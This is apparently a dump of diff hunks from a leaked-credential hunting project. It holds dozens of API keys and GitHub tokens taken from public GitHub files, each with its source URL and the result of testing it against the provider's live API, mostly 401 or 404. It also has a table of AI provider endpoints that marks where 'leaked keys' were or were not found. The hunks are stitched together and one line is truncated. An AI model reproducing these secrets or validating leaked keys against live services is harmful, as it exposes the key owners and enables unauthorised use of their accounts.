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|https://github.com/eddiejdi/eddie-auto-dev/blob/ed66b83fd49c09635d27a354e9972c8d5d0d4991/.continue/config.json|{"model": "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", "provider": "openrouter"}|401
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|https://github.com/DirtyCritic/wordle/blob/236dba629b8fda5d2e8457c950df02639647e850/~/.continue/config.json|{"model": "meta/llama-3.1-70b-instruct", "provider": "openai"}|401
sk-d2a3f732d6f748289f84adf3ce875715|https://github.com/Cagedcarrow/UR10_Matlab_shovel_test/blob/db1bcc9caa5205c4a0731e16dd78b12650ba1761/config.json|{"model": "deepseek-chat", "provider": "deepseek"}|401
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|https://github.com/valentinuuiuiu/piata-ro-project/blob/62bf718032187f8454d305cdce4aecb807216487/piata-ro-project/.continue/config.json|{"model": "x-ai/grok-4.1-fast:free", "provider": "openrouter"}|401
sk-2b3d2a872c9046f8a309b15a1200c22a|https://github.com/drJanW/Kwal27/blob/d7d3dc48ff96f5ee33f4020f40820ef08f3d7433/.continue/config.json|{"model": "deepseek-v4-pro", "provider": "deepseek"}|401
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|https://github.com/Offren/RSS-aggregator-Xpath-scraper/blob/3731867e30d90d92f938ef10d2ccd5fa7aed74ad/.continue/config.json|{"model": "claude-3-5-sonnet-20240620", "provider": "anthropic"}|401
D35nZHM8jxzFdw8DBzMxkih6q4x4uUd8|https://github.com/Offren/RSS-aggregator-Xpath-scraper/blob/3731867e30d90d92f938ef10d2ccd5fa7aed74ad/.continue/config.json|{"field": "tabAutocompleteModel"}|401
Whitespace-only changes.
Whitespace-only changes.
Whitespace-only changes.
Whitespace-only changes.
@@ -0,0 +1,2 @@
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|https://github.com/Tanimou/promptopia/blob/bf7ee16912b7a913e316e8913df07000e709ac6e/.devcontainer/devcontainer.json|{"field": "regex"}
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|https://github.com/spigelli/vscode-user-settings/blob/d47230f7720178a4a004b8980913eeb7fc28236c/settings.json|{"field": "regex"}
@@ -0,0 +1,2 @@
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|https://github.com/Tanimou/promptopia/blob/bf7ee16912b7a913e316e8913df07000e709ac6e/.devcontainer/devcontainer.json|{"field": "regex"}|401 bad credentials
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|https://github.com/spigelli/vscode-user-settings/blob/d47230f7720178a4a004b8980913eeb7fc28236c/settings.json|{"field": "regex"}|401 bad credentials
Whitespace-only changes.
Whitespace-only changes.
Whitespace-only changes.
Whitespace-only changes.
@@ -0,0 +1,49 @@
# Anthropic-Compatible Endpoints for Chinese AI Providers
Discovered from tommo/sublime-claude config and iFlytek docs.
All use x-api-key header + anthropic-version: 2023-06-01.
| Provider | Base URL | Env Var | Models | Status |
|---|---|---|---|---|
| 火山引擎 (Volcano) | https://ark.cn-beijing.volces.com/api/coding | ARK_API_KEY | ark-code-latest, claude-sonnet-4-6, claude-opus-4-6 | ✅ CONFIRMED |
| 智谱 (ZhipuAI) | https://open.bigmodel.cn/api/anthropic | GLM_API_KEY | glm-4.7, glm-4.6, glm-4.5 | ✅ CONFIRMED |
| 百度千帆 (Qianfan) | https://qianfan.baidubce.com/anthropic/coding | bce-v3/ALTAKSP- | qianfan-code-latest, deepseek-v4-flash, glm-5 | ✅ CONFIRMED |
| 美团龙猫 (LongCat) | https://api.longcat.chat/anthropic | ak_ | LongCat-2.0 | ✅ CONFIRMED |
| MiniMax | https://api.minimaxi.com/anthropic | sk-cp- | MiniMax-M2.5 | ✅ CONFIRMED |
| 讯飞 (iFlytek) | https://maas-coding-api.cn-huabei-1.xf-yun.com/anthropic | ASTRON_API_KEY | astron-code-latest, xsparkx2, xsparkx2flash | ❌ No leaked keys found |
| StepFun | https://api.stepfun.ai/v1/anthropic | STEPFUN_API_KEY | step-3.5-flash | Untested |
| 百炼 (Bailian) | https://token-plan.cn-beijing.maas.aliyuncs.com/apps/anthropic | BAILIAN_API_KEY | qwen3.7-plus | Untested |
## iFlytek Coding Plan Details
### OpenAI-compatible endpoint
POST https://maas-coding-api.cn-huabei-1.xf-yun.com/v2/chat/completions
Auth: Authorization: Bearer <ASTRON_API_KEY>
### Anthropic-compatible endpoint
POST https://maas-coding-api.cn-huabei-1.xf-yun.com/anthropic/v1/messages
Auth: x-api-key: <ASTRON_API_KEY>
### Token Plan (separate)
POST https://maas-token-api.cn-huabei-1.xf-yun.com/v2/chat/completions
Auth: Authorization: Bearer <ASTRON_API_KEY>
### Available Models (Coding Plan)
- xsparkx2agent — Spark X2 Agent
- xsparkx2 — Spark X2
- xsparkx2flash — Spark-X2-Flash
- xopglm5 — GLM-5
- xopglm51 — GLM-5.1
- xopdeepseekv4pro — DeepSeek-V4-Pro
- xopdeepseekv4flash — DeepSeek-V4-Flash
- xopdeepseekv32 — DeepSeek-V3.2
- xopkimik26 — Kimi-K2.6
- xminimaxm25 — MiniMax-M2.5
- xopqwen35397b — Qwen3.5-397B
- astron-code-latest — Console-switched model
### Key Format
- Separate from regular Spark API keys (which use HMAC auth)
- Each subscription has its own dedicated API key
- Obtained from https://maas.xfyun.cn/packageSubscription
- No leaked keys found on GitHub (service too new, keys in env vars)
@@ -0,0 +1 @@
{"000000012449900000000010123456d8": "https://github.com/BINainier/5G-AKA/blob/5d12d663161ab2c01a2a198a9d3be83eb9979cbb/UE.py", "00007bc50d1921b184e325ff0afc0961": "https://github.com/hjlarry/zhihulive/blob/034a347357b30ce8c029912cfd163b7c486da1bf/config.py", "000080af510045268c91747235742a36": "https://github.com/eval-hub/eval-hub/blob/541f237511796e45ef8930c50af40c3de672ba22/examples/api_examples.ipynb", "00010203040506070809101112131415": "https://github.com/santhreal/keyhog/blob/9c723d78c101883e4d10faf5261d6086239b0a0f/crates/scanner/tests/unit/context_extended.rs", "0002cf3bcedf47e98ae5148bfa41115f": "https://github.com/thamarai-guna/Post-Discharge-AI-Assistant/blob/4564e0524046b7969d8267150363e036c2558b6d/.env", "0002dfc86ff24cc5ada1bffb8e7862d3": "https://github.com/nebius/token-factory-cookbook/blob/bcaad4c90b100dac4df84bf43f1b889d73031f9e/rag/rag-pdf-llama-index/rag_pdf_query.ipynb", "0005e5f5c2a84fe79a14fa38241f449a": "https://github.com/PA-Penajam/simbara_new/blob/bc3edc64250b090cb048d79b31d33d219b552bd5/.mcp.json", "0005f129a1a4464aacad9b003d08fc56": "https://github.com/beita6969/DeepSeek-R1-Distill-Qwen-32B-Medical-Fine-tune/blob/877d84fb4d0bd5c4717d5a868502654107ded9c3/ui.ipynb", "00068a3f007e48bcabe426b077055012": "https://github.com/ibm-granite-community/docling-workshop/blob/8d28ed8d7e26fc19e64dfe915b8527e304e45327/notebooks/RAG.ipynb", "0007310f17864ef8abede19e6eb13b74": "https://github.com/frank-morales2020/MLxDL/blob/2e5c493f43745dbae821b2824a656728c319564b/LWM_DEMO.ipynb", "000a1c198afe42c88ce6573e805593be": "https://github.com/luckysgit/Analysing-the-Wine-Quality-Dataset-with-Python/blob/8f6b150bd13ab159dd41be731cbe95d9842bcfe5/studio/Unsloth_Studio_Colab.ipynb", "000e85703f0fd9594c81710dd5066471": "https://github.com/aws/sagemaker-distribution/blob/a76d9ad74967cc6881abf07ba5b6529a8ef6ea77/build_artifacts/v1/v1.12/v1.12.2/cpu.env.out", "0010740d75fb424dbd2c040c749637fb": "https://github.com/StunlockStudios/battlerite-assets/blob/913842c3282cf394085b541cab3734b067c57a65/mappings/42048/Localization/Brazilian.ini", "0010ae9e52b541129e147f30890c9fc1": "https://github.com/dataman-git/codes_for_articles/blob/2e3c5a20e65b03c29497d7711cca6133e4f92c2f/HNSW.ipynb", "00112233445566778899aabbccddeeff": "https://github.com/Black1hp/Rakib-platform/blob/f9ab12bf34dcbb3ad8c8ee211d69fb846e4beaf9/research/rule_candidates/glm_rules.json", "0017ec22a7504941934db02a385dce85": "https://github.com/SureshDeora/Fine-tuning-Notebooks/blob/e1e9aaeb88630848a7e459e82a328ab319e7ab34/nb/gpt-oss-(20B)-Fine-tuning.ipynb", "001b248e9d864a1e82e42264ff560fd3": "https://github.com/Gnaneswar22/-AI-Career-Assistant-With-Hyper-Personalization/blob/827c5bd8b3b5abbf41aee3550dbf70bbed831770/Python_Script_for_Fine_Tuning_a_Career_AI_Model.ipynb", "001c0f78b68aa2f54eed8a91839e91a8": "https://github.com/Jarcis-cy/Domain_survival_detection/blob/a5cdcfa9ffe11123fb655cff4829e72737e13f51/cms.json", "001cd23882ca40a086c528c260aefa4f": "https://github.com/franlin1860/llm/blob/eeed9243cd0fbffd49dd1115dc58f2f8068da8bf/evaluate/OpenLLMetry_v20240903.ipynb", "001cdc73071a497dac4ee7819362f4f7": "https://github.com/FurrukhJamal/ColabML/blob/c4cac3dcb4bf2fe76ccb9727908c0960b121704e/Copy_of_LLM_Finetuning.ipynb", "001e2bb0a89d41e9b6aa9280ad55f063": "https://github.com/sinanuozdemir/oreilly-retrieval-augmented-gen-ai/blob/007234cd6890b75b455e36c1494c340449f4b198/notebooks/RAG_Generate.ipynb", "001e9e7aba8a422cac542d7aa7216754": "https://github.com/StunlockStudios/battlerite-assets/blob/913842c3282cf394085b541cab3734b067c57a65/mappings/43310/Localization/Spanish.ini", "002017cb754e4110ab6aabcdadc5aee9": "https://github.com/luckysgit/Analysing-the-Wine-Quality-Dataset-with-Python/blob/8f6b150bd13ab159dd41be731cbe95d9842bcfe5/studio/Unsloth_Studio_Colab.ipynb", "002605f869454fc4a8257efed5050d1a": "https://github.com/sheikxm/Rag-for-homework/blob/1f64381d5b2a39662ef21a6f7dd1f23f79b120bc/Rag.ipynb", "00294b167d6746f0b17d69ac6dd2bc72": "https://github.com/StunlockStudios/battlerite-assets/blob/913842c3282cf394085b541cab3734b067c57a65/mappings/42048/Localization/Brazilian.ini", "002b9fe5c861494f9498bea9bae71e39": "https://github.com/Suixin04/Digital_LinDaiyu_QT/blob/c700fd95fcc6e755a295febc469e996bac8520b6/REBUILD/knowledge.ipynb", "002fe31ec2554e228101f226312c6dd6": "https://github.com/Transformers-G5/blog-generation/blob/5cf64ffc29297626d653b851c2c71a9bbc2779d2/notebooks/Subpropmts_v1.ipynb", "003142aa2408449c8ce86735014904c2": "https://github.com/StunlockStudios/battlerite-assets/blob/913842c3282cf394085b541cab3734b067c57a65/mappings/43310/Localization/Spanish.ini", "003344c7d87f4917b43d4f86ae9a165f": "https://github.com/StunlockStudios/battlerite-assets/blob/913842c3282cf394085b541cab3734b067c57a65/mappings/42048/Localization/Brazilian.ini", "0033ba54b6714433986636440c4c4f3d": "https://github.com/StunlockStudios/battlerite-assets/blob/913842c3282cf394085b541cab3734b067c57a65/mappings/42048/Localization/Brazilian.ini", "00373ef272b9444d92820a53d2f8Line truncated
@@ -0,0 +1,92 @@
LongCat|ak_1MDE1ZDUwYTFmYmM2MDI0MjBhMDEx|https://github.com/PelionIoT/mbed-devicejs-bridge/blob/53a70ecbdbd82927ebe0bd0c9294f96377989b77/u.sh|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_1MDE1ZDUwYTFmYmM2MDI0MjBhMDEx","type":"authentication_error"}}
LongCat|ak_01750c0131de4a928daae5eb8c9a9|https://github.com/antchain-openapi-sdk-go/ak_01750c0131de4a928daae5eb8c9a9a16/blob/9be22959e5ff60959f07e84b5a6353fa03002096/client/client.go|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_01750c0131de4a928daae5eb8c9a9","type":"authentication_error"}}
LongCat|ak_2MAWQyiGyajz7vjZw6yHTPzu7tTDx|https://github.com/harshitchugh001/aeternity-weather/blob/0d57cd1131fbda271e03accf355620ad41cfcf27/.env|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_2MAWQyiGyajz7vjZw6yHTPzu7tTDx","type":"authentication_error"}}
LongCat|ak_2a1j2Mk9YSmC1gioUq4PWRm3bsv88|https://github.com/randomshinichi/aeoracle/blob/b476109ab6073e28256b5d49352c658ce37902ac/main.go|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_2a1j2Mk9YSmC1gioUq4PWRm3bsv88","type":"authentication_error"}}
LongCat|ak_2Q26giGSt2YuDqxJVjpW5bLKcEnSp|https://github.com/nikita-fuchs/mycashless-data-deployer/blob/d06f96ad294c5efd08996c4e157df11e726b7279/keys.ts|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_2Q26giGSt2YuDqxJVjpW5bLKcEnSp","type":"authentication_error"}}
LongCat|ak_2QkttUgEyPixKzqXkJ4LX7ugbRjwC|https://github.com/sunbx/AEasy.io/blob/bceb504a231937d3d830b8738e61b27a87183d1c/Task.go|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_2QkttUgEyPixKzqXkJ4LX7ugbRjwC","type":"authentication_error"}}
LongCat|ak_2mk8Hy6iF6mt4Hd3Ky2yn2ZT9Yo24|https://github.com/typo-master/typo-master/blob/6aafae15ef1d73325d9abf9b27e2f6bc7fae6c91/ecosystem.config.js|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_2mk8Hy6iF6mt4Hd3Ky2yn2ZT9Yo24","type":"authentication_error"}}
LongCat|ak_2mwRmUeYmfuW93ti9HMSUJzCk1EYc|https://github.com/marc0olo/aepp-sdk-js-test/blob/de141371f755fa017d8a28452d3f6eb79640fd2c/run.js|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_2mwRmUeYmfuW93ti9HMSUJzCk1EYc","type":"authentication_error"}}
LongCat|ak_49da8b07102429832071cc33f07d7|https://github.com/hannidinh/assignment-healthcare/blob/06f4d652a1273ead5d01c1e284bc5ed4c6ab2655/.env|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_49da8b07102429832071cc33f07d7","type":"authentication_error"}}
LongCat|ak_3beecc9c60adb5f9b850e91a8ee1e|https://github.com/clerk/clerk-sdk-python/blob/4252a113acbae4cd9fae358751d02309457ba2ea/fixes.yaml|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_3beecc9c60adb5f9b850e91a8ee1e","type":"authentication_error"}}
LongCat|ak_46987d0d0f971d39604352debce70|https://github.com/Jozewski/ksenseAPIassesment/blob/20710332cd4041b4f94f25bf88173eda34603ee8/src/main.ts|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_46987d0d0f971d39604352debce70","type":"authentication_error"}}
LongCat|ak_5d8b3954e09058c38325484857b84|https://github.com/dimatolshin/Gifka/blob/39d6178c5870cf7339ac0235398d50ddf8cb2bde/.env|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_5d8b3954e09058c38325484857b84","type":"authentication_error"}}
LongCat|ak_4cf7c7d0655047bb888b168fcceaf|https://github.com/antchain-openapi-sdk-go/ak_4cf7c7d0655047bb888b168fcceafb67/blob/b4ddc58f7958f7bff5e6f0b9ec40216e79bcbf7d/client/client.go|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_4cf7c7d0655047bb888b168fcceaf","type":"authentication_error"}}
LongCat|ak_KHfXhF2J6VBt3sUgFygdbpEkWi6AK|https://github.com/sunbx/AEasy.io/blob/bceb504a231937d3d830b8738e61b27a87183d1c/Task.go|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_KHfXhF2J6VBt3sUgFygdbpEkWi6AK","type":"authentication_error"}}
LongCat|ak_e569117e4d36d84217b9617fe84cf|https://github.com/Sdillon215/healthcare-assessment/blob/11d10b841e28bbd8f3e450eb4dea80b2438241f3/index.ts|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_e569117e4d36d84217b9617fe84cf","type":"authentication_error"}}
LongCat|ak_dc4cb7bcc614c8932a855cba5d34f|https://github.com/dm-bit1/ksense/blob/a4099c47c8f5741d43cc6f1e3a2f495ca5a15347/.env|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_dc4cb7bcc614c8932a855cba5d34f","type":"authentication_error"}}
LongCat|ak_d1cdef7dc0ce2dbd912f873bf45aa|https://github.com/flyshuttle2/village_study_tour/blob/e65d49142a942274c1a233a68fb5f566777df964/.env|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_d1cdef7dc0ce2dbd912f873bf45aa","type":"authentication_error"}}
LongCat|ak_EPdz0F8elHMbYc9kpDcNUeeDGbYWD|https://github.com/macrohardo/LLM-Council-Latest/blob/9588cc1d63973878f59006c5dc7fc3173aab2001/.env|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_EPdz0F8elHMbYc9kpDcNUeeDGbYWD","type":"authentication_error"}}
LongCat|ak_kdxBz4kzVot86bcrUMQwisDpA5m1g|https://github.com/sunbx/AEasy.io/blob/bceb504a231937d3d830b8738e61b27a87183d1c/Task.go|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_kdxBz4kzVot86bcrUMQwisDpA5m1g","type":"authentication_error"}}
LongCat|ak_oeh2kmpcponipd4eysophu4gdcu5h|https://github.com/bharat1407/bharat/blob/c2a389200f1ae09a8768a3a10aea69ba948ea54d/.env|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_oeh2kmpcponipd4eysophu4gdcu5h","type":"authentication_error"}}
LongCat|ak_ff892bf94ef82a3708cee7ba4df4f|https://github.com/Nishchaysaluja10/AlgoTrading-Model/blob/1e736b2b7225db0b17b8445422fdc0f407d2f957/.env|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_ff892bf94ef82a3708cee7ba4df4f","type":"authentication_error"}}
LongCat|ak_wTPFpksUJFjjntonTvwK4LJvDw11D|https://github.com/sunbx/AEasy.io/blob/bceb504a231937d3d830b8738e61b27a87183d1c/Task.go|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_wTPFpksUJFjjntonTvwK4LJvDw11D","type":"authentication_error"}}
LongCat|ak_iDBGKy18SERKdyivZbpLs6kevcink|https://github.com/appsoftwareltd/as-notes/blob/62d59acf7103b9bcf675fc9b285578c342206727/.mcp.json|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_iDBGKy18SERKdyivZbpLs6kevcink","type":"authentication_error"}}
LongCat|ak_zvU8YQLagjcfng7Tg8yCdiZ1rpiWN|https://github.com/sunbx/AEasy.io/blob/bceb504a231937d3d830b8738e61b27a87183d1c/Task.go|401: {"error":{"code":"invalid_api_key","message":"无效的AppId: ak_zvU8YQLagjcfng7Tg8yCdiZ1rpiWN","type":"authentication_error"}}
OllamaCloud|1a3b56d69c9d4a2b92e2b31b5cb7ecfd.tqhihzz8ep3LkWl13N8NGEYC|https://github.com/Dhiraj-Kumar/Bosch-Agent-Demos/blob/5d1c0f7c27c3b23b95c527a59c7023c3c9bd49a2/Langchain-Demos/.env|401: {"error":"Unauthorized"}
OllamaCloud|23383108e6e35c70f6b1cc9b77c8f1ef.72989308362135650f67ee24|https://github.com/Review-BOD-Org/reviewbod/blob/e3835012fd44cdbc099c506c4bdc148089b45afa/.env|401: {"error":"Unauthorized"}
OllamaCloud|38113878850a7d717dbc69de8683aaad.c7efaa30a0d80b2958b87696|https://github.com/UbiquitousLearning/FeS/blob/62f2ffb966060ced938fad16d3817f68dc98d32c/a.ipynb|401: {"error":"Unauthorized"}
OllamaCloud|2445772e62648412c7c87daa582ddd04.b4a2fd5977f7fbfaba057244|https://github.com/RuhiuEdwin/subscribe/blob/18ece2a8cb08dd92305881cb7a383271fb5f36e1/app.js|401: {"error":"Unauthorized"}
OllamaCloud|05aea780616811efa5dbff93fab61642.bphtmi8lapPmQi13YN56ES8h|https://github.com/thanledinh/DUANTOT/blob/1e4301bb0596c09abba46474b5c67c799b13e6ec/.env|401: {"error":"Unauthorized"}
OllamaCloud|1234567890abcdef1234567890abcdef.1234567890abcdef12345678|https://github.com/tony-by/secrets-test/blob/5e79f73d8a9f5b0a3d73bd8e568629487f03ad59/app.js|401: {"error":"Unauthorized"}
OllamaCloud|334f89bd1f6e4c9e803461559ae66838.XWLeJoNnwljHXRaskUY8xabD|https://github.com/panyeroa1/brown-orb/blob/6afb030bbd037f1f7015122bf4d7b4d6b20bbed1/.env|401: {"error":"Unauthorized"}
OllamaCloud|24fb8a7c1f3f4c198db276562f7c4d56.MX6c2EpQkSsfLPlGV4Lqra1Y|https://github.com/iAditya-Nanda/Disaster-Relief-Resource-Matcher-Hack-O-Fest-2026/blob/a4822cbd05c2b6ec72fe8e1e6141ceeb2ab565e1/server/.env|401: {"error":"Unauthorized"}
OllamaCloud|0a8b31034616309459e0b51ef07ade09.1bb6b73eca45938a31700ee9|https://github.com/tuanyuan2008/style-transfer/blob/952f11aa9f2867415fcbf46a560eb9ae5f883b7e/drg.ipynb|401: {"error":"Unauthorized"}
OllamaCloud|0a8b31034616309459e0b51ef07ade09.f59b19eb0e361a0230a1106b|https://github.com/zhengyangb/Ordered-Neuron-LSTM-with-Pretrained-Model/blob/690ad35e8028d6547ca1d5f71641fb02c377369c/GPT.ipynb|401: {"error":"Unauthorized"}
OllamaCloud|5872af9cbffc432f96e821da9a402c4c.b387316ab5425cf69f617e43|https://github.com/Xenonesis/Shopr/blob/89fd145a919126883abcf4991c0b295314fa66d6/.env|401: {"error":"Unauthorized"}
OllamaCloud|47e36fae0588f9dbc1ae51decdff691b.70bec105b4158ed9a1747fea|https://github.com/nlpbook/nlpbook/blob/b0725757ca2b90beadefff89a07d3bd94e6c2ea2/ch02.ipynb|401: {"error":"Unauthorized"}
OllamaCloud|84166aa32e061576bbe6aaeb95649fcf.db13c9bc9c7bdd738ec89e06|https://github.com/nlpbook/nlpbook/blob/b0725757ca2b90beadefff89a07d3bd94e6c2ea2/ch02.ipynb|401: {"error":"Unauthorized"}
OllamaCloud|8bcdd9b4e28e4e1b8bf14a2eb8701220.a1b2c3d4e5f6a7b8c9d0e1f2|https://github.com/nrl-ai/chub/blob/183d8f18a08c651830e81d6c2193d90d560b800e/crates/chub-core/tests/betterleaks_coverage.rs|401: {"error":"Unauthorized"}
OllamaCloud|3a77882097a1a2cefd51fd24b172355e.e7ee3fcd07c695a4c9f31ca7|https://github.com/tuanyuan2008/style-transfer/blob/952f11aa9f2867415fcbf46a560eb9ae5f883b7e/drg.ipynb|401: {"error":"Unauthorized"}
OllamaCloud|5babf39ab5b48114d2b49267672ae10f.77b59256a4cf8343ae0f9232|https://github.com/pliang279/MultiViz/blob/c7803ef22cfeb52ca540c4f108a9f519d23c2900/demos/lxmert/demo.ipynb|401: {"error":"Unauthorized"}
OllamaCloud|54cf325756a54a84a7730eb12b7a203e.d2055a9231325ba5b31b765b|https://github.com/over7-maker/Advanced-Multi-Agent-Intelligence-System/blob/4b8c82319a00086f33cd9ea964ee4a1f01cf4f66/.env|401: {"error":"Unauthorized"}
OllamaCloud|6c36f54cfd6e0b7d3b90b25656e4262f.8baa8ae8795f4df80b28e7f7|https://github.com/robert-s-lee/grid-flair/blob/59f19e5658dd12af158ffa2bef605578489ce6a2/run.ipynb|401: {"error":"Unauthorized"}
OllamaCloud|94bb2f7b8bd7e80c7968805834ba351e.35205c6cfc956461d8515139|https://github.com/UbiquitousLearning/FeS/blob/62f2ffb966060ced938fad16d3817f68dc98d32c/a.ipynb|401: {"error":"Unauthorized"}
OllamaCloud|9f1a5475203f48c18dfdf8c70af3f432.I0a7qJ265D5UKASv1dYv8NZN|https://github.com/HEAB-TASK/heab-task-main/blob/a66d99c9f34510d84cc58c7d4f9fe06e231a4f7b/src/main/java/com/heabtask/core/service/impl/LangChain4jAiHandler.java|401: {"error":"Unauthorized"}
OllamaCloud|aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaaaa|https://github.com/cloud-ru-tech/guardrails-llm-filter-extproc/blob/6c8dcb77a625916b5cc08850f4d4993fc73c1155/tests/rules/rules_cases_test.go|401: {"error":"Unauthorized"}
OllamaCloud|91f55c26b97c541ef0e1a906e79744e6.018d2c16a8ce4aa166a9de7b|https://github.com/Review-BOD-Org/reviewbod/blob/e3835012fd44cdbc099c506c4bdc148089b45afa/.env|401: {"error":"Unauthorized"}
OllamaCloud|ae0b674ef866b79c58177067d15732dd.1512018be4ba4e8726e41b91|https://github.com/nlpbook/nlpbook/blob/b0725757ca2b90beadefff89a07d3bd94e6c2ea2/ch02.ipynb|401: {"error":"Unauthorized"}
OllamaCloud|cd7e829d7dc0ae78db44aee440bd6caf.dfae9c0f09bf4677bccf053e|https://github.com/Yunhao-Feng/Vera/blob/9bd5ffd7e2c9219e458ff5b4df0510b645979d98/final_data/1253_direct/trace.json|401: {"error":"Unauthorized"}
OllamaCloud|c7baef6c604241bd9c1e15ee3e5944e2.DgbsqgktbWbaL8Bv2UjLR7ky|https://github.com/LetsGaming/SkillPlate/blob/e5aec622cbc93a71ceab67d5b585b35d4fa2f33f/compose.yml|401: {"error":"Unauthorized"}
OllamaCloud|ce65abe0413011ef90c3c9ff66e60f20.aXIXXch3XSkZRZxMbbGw8SEX|https://github.com/vanhleg2301/front-end/blob/00a9c5f152fceea373a3cf81aef754b7d39db2aa/.env|401: {"error":"Unauthorized"}
OllamaCloud|afd81e11ece622be6a3c2e4d42d8fd89.778cf36f5c4e5d94c8cd9cef|https://github.com/nlpbook/nlpbook/blob/b0725757ca2b90beadefff89a07d3bd94e6c2ea2/ch02.ipynb|401: {"error":"Unauthorized"}
OllamaCloud|470abdabe0590c9ec742df61625ba310.b9628f6fe5519626534b82ce|https://github.com/tuanyuan2008/style-transfer/blob/952f11aa9f2867415fcbf46a560eb9ae5f883b7e/drg.ipynb|401: {"error":"Unauthorized"}
OllamaCloud|d4123a111ea143199baa37b0ee14b202.M6ymf0D6ebY56oWVeJ3b2L3J|https://github.com/YWU99u/WiseMind-DDx-Psyc/blob/4e1ed40627a51d57b4d51addbd2f5550c252d851/src/.env|401: {"error":"Unauthorized"}
OllamaCloud|d7fc42d92ac54128a92e52d9e5e81479.maHI9REFSGbmRgGY5S0wFISe|https://github.com/saz5100/wlv/blob/cd475f6faea30df7d1ab3328fd9514a2803c9990/.env|401: {"error":"Unauthorized"}
OllamaCloud|d8cf2811037b4791b2e36ffb4afee830.LrLvzfuvzutO7MLHciyiUtpq|https://github.com/yoohyunseog/HANKOOKINTERNET-CHAMSOSIK/blob/3a7b118d7d63741b34ff6809045869f511478b07/web/ollama-ai-server/server.js|401: {"error":"Unauthorized"}
OllamaCloud|dd20b46f2bf0a47bc899c89f46532fde.20808570f9a3169212a577f8|https://github.com/tuanyuan2008/style-transfer/blob/952f11aa9f2867415fcbf46a560eb9ae5f883b7e/drg.ipynb|401: {"error":"Unauthorized"}
OllamaCloud|f2e8db440e7e4028a40a0aefbf8dbec5.7efl7SycTPjEwR645yJmxTs1|https://github.com/SachinthaGaurawa/wealthflow/blob/f2201625530dea89df8970e15ef1c5cb00b419de/api/ai.js|401: {"error":"Unauthorized"}
OllamaCloud|fcd3a040e91411efacfaab0600938aa6.Fpu9nLWHDh8KH3RRwDvbgCYN|https://github.com/htp2003/pos-backend/blob/bbf2213223c260fdffc590e04537913c0ffa1910/.env|401: {"error":"Unauthorized"}
@@ -0,0 +1,35 @@
SCNet|sk-tp-pJx7nPPpry0uLDtgzUNvTkRK8nIMyKT57ajBCzmanPL1pHty|https://github.com/BoswellJi/BoswellJi/blob/697b0b5a590cf6e39a1c573fdf1d50e227c8b24e/packages/langchain/.env|[deepseek-v3] HTTP 422: {"error":{"message":"Model Not Exist: deepseek-v3","type":"invalid_request_error","param":null,"code":"422"},"request_id":"204e77f4291f35c5"
SCNet|sk-tp-1234567890abcdefghijklmnop|https://github.com/wahajnintyeight/project-phoenix-v2/blob/b1b5a85deb62cedf5a466e6dba8f7f79519541f1/pkg/service/scraper-service/handlers/scraper-handler_test.go|[deepseek-v3] HTTP 422: {"error":{"message":"Model Not Exist: deepseek-v3","type":"invalid_request_error","param":null,"code":"422"},"request_id":"ffa2bef2601eeadb"
SCNet|sk-tp-GCgjOgMSzNpMXZ8UxKyJR5rICMTNHwFe|https://github.com/TencentCloud/tencentcloud-cli/blob/7c9a059c3a532e2df65ed826b9b796d20ada5142/tccli/services/tokenhub/v20260322/api.json|[deepseek-v3] HTTP 422: {"error":{"message":"Model Not Exist: deepseek-v3","type":"invalid_request_error","param":null,"code":"422"},"request_id":"ebbbbcc71396dad4"
OllamaCloud|0313a3b2d2dd4f219c263389a1f8185a.QEgeNBS01Ksiapjn1stb4VXK|https://github.com/thanhmobile080604/IOTApp/blob/bb137c648bdd911c58d83628d20446ede943a719/app/src/main/java/com/example/iotapp/ui/chatbot/ChatbotFragment.kt|HTTP 404: {"error": "model 'llama3.2' not found"}
OllamaCloud|005cae75a0d0454e990b217a4a24792c.CYfR01thlR6D68YbkrbKe0cf|https://github.com/jiggy769/OPENCLAW-ENTERPRISE/blob/da81cbe9daeb2dbaa04de43880b517a33ad16b52/.env|HTTP 404: {"error": "model 'llama3.2' not found"}
OllamaCloud|0131d7f30ccb4864b2c37aca0c7a511a.mH4dQd3W0EYVlNwhm8UDZMVJ|https://github.com/Nishantjaryal/findash/blob/1aeb90fb92dec9a9d6fc50bf005c938ba1d1854d/.env|HTTP 404: {"error": "model 'llama3.2' not found"}
OllamaCloud|367463f663264bf7ba76f5b2cc34e068.Ei7Yvwu3BQ3mQkxOEnRwb7Ko|https://github.com/panyeroa1/tts-stt-orb/blob/c8816b493cea4ce2e757985184804dcbcac36efb/.env|HTTP 404: {"error": "model 'llama3.2' not found"}
OllamaCloud|a2f97ef2effa4c5fbc99f3374aeb35b3.LlcoRRIcf4rFaBbVsaFR4DPI|https://github.com/hairift/mr-great-ai-mobile/blob/4821eb2219f0f4453b3a3ddb6fad155988e8267c/server/.env|HTTP 404: {"error": "model 'llama3.2' not found"}
OllamaCloud|28de8464911240dc9b29591a0c97bf12.XcaV7bc7kZnrTnqwfMHuxR66|https://github.com/tlili-achref/iaResearchHub-classification_service/blob/887e10e077c789e9f1a8455e259672c037004203/app/config.py|HTTP 404: {"error": "model 'llama3.2' not found"}
